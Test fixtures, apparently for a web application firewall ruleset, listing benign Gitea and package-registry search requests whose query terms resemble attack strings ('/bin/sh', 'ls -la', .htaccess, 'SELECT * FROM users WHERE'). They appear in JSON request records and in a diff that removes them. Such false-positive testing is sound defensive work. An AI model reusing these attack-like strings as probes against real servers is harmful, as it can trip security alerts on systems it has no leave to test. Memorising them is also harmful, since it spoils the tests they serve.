{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
internal/coreruleset/testdata/gitea-requests.txt
Vendored
-161
View File
@@ -381,167 +381,6 @@
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact /org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE /alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
# The API's searches that gitea and Forgejo share, sent with curl to gitea
# 1.27.3. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
/api/v1/repos/search?q=python3&limit=10
/api/v1/repos/search?q=powershell&limit=10
/api/v1/repos/search?q=ls%20-la&limit=10
/api/v1/repos/search?q=.htaccess&limit=10
/api/v1/repos/search?q=docker-compose.yml&limit=10
/api/v1/repos/search?q=tools&limit=10
/api/v1/users/search?q=python3
/api/v1/users/search?q=powershell
/api/v1/users/search?q=ls%20-la
/api/v1/users/search?q=.htaccess
/api/v1/users/search?q=bob
/api/v1/repos/issues/search?q=python3&type=issues&state=open
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
/api/v1/repos/issues/search?q=build&type=issues&state=open
/api/v1/repos/alice/tools/issues?state=open&q=python3
/api/v1/repos/alice/tools/issues?state=open&q=powershell
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
/api/v1/packages/alice?q=python3
/api/v1/packages/alice?q=powershell
/api/v1/packages/alice?q=ls%20-la
/api/v1/packages/alice?q=.htaccess
/api/v1/packages/alice?q=%2Fbin%2Fsh
/api/v1/packages/alice?q=install-script
/api/v1/packages/alice?q=%40alice%2Ftools-cli
/api/v1/topics/search?q=python3
/api/v1/topics/search?q=powershell
/api/v1/topics/search?q=ls%20-la
/api/v1/topics/search?q=.htaccess
/api/v1/topics/search?q=docker
/api/v1/orgs/acme/teams/search?q=python3
/api/v1/orgs/acme/teams/search?q=powershell
/api/v1/orgs/acme/teams/search?q=ls%20-la
/api/v1/orgs/acme/teams/search?q=.htaccess
/api/v1/orgs/acme/teams/search?q=developers
/api/v1/admin/emails/search?q=python3
/api/v1/admin/emails/search?q=powershell
/api/v1/admin/emails/search?q=ls%20-la
/api/v1/admin/emails/search?q=.htaccess
/api/v1/admin/emails/search?q=alice
/api/v1/admin/unadopted?query=python3
/api/v1/admin/unadopted?query=powershell
/api/v1/admin/unadopted?query=ls%20-la
/api/v1/admin/unadopted?query=.htaccess
/api/v1/admin/unadopted?query=alice%2Fpython3-app
/api/v1/admin/unadopted?query=alice%2Flegacy-site
/api/v1/repos/alice/tools/milestones?state=open&name=python3
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
# The package registries' searches, sent to gitea 1.27.3 by each registry's own
# client: cargo, knife, composer, conan 1 and 2, dotnet and npm. curl sent the
# requests no client sends: the Chef cookbook list with a search, and NuGet's
# Packages() with the search in $filter, as NuGet's client builds it for a feed
# without Search(). curl also sent each NuGet Search() and Packages() search to
# Search()/$count and Packages()/$count, which count its results. Each searches
# for words that name commands and files, such as python3 and .htaccess, and
# for plain words. A Composer, Conan or npm name can hold a slash, so those
# searches are also sent /bin/sh.
/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10
/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10
/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0
/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0
/api/packages/alice/composer/search.json?q=python3&type=
/api/packages/alice/composer/search.json?q=powershell&type=
/api/packages/alice/composer/search.json?q=ls+-la&type=
/api/packages/alice/composer/search.json?q=.htaccess&type=
/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=
/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=
/api/packages/alice/composer/search.json?q=docker-compose.yml&type=
/api/packages/alice/composer/search.json?q=tools&type=
/api/packages/alice/conan/v1/conans/search?q=python3
/api/packages/alice/conan/v1/conans/search?q=powershell
/api/packages/alice/conan/v1/conans/search?q=ls+-la
/api/packages/alice/conan/v1/conans/search?q=.htaccess
/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A
/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v1/conans/search?q=tools
/api/packages/alice/conan/v2/conans/search?q=python3
/api/packages/alice/conan/v2/conans/search?q=powershell
/api/packages/alice/conan/v2/conans/search?q=ls+-la
/api/packages/alice/conan/v2/conans/search?q=.htaccess
/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh
/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable
/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml
/api/packages/alice/conan/v2/conans/search?q=tools
/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30
/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30
/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30
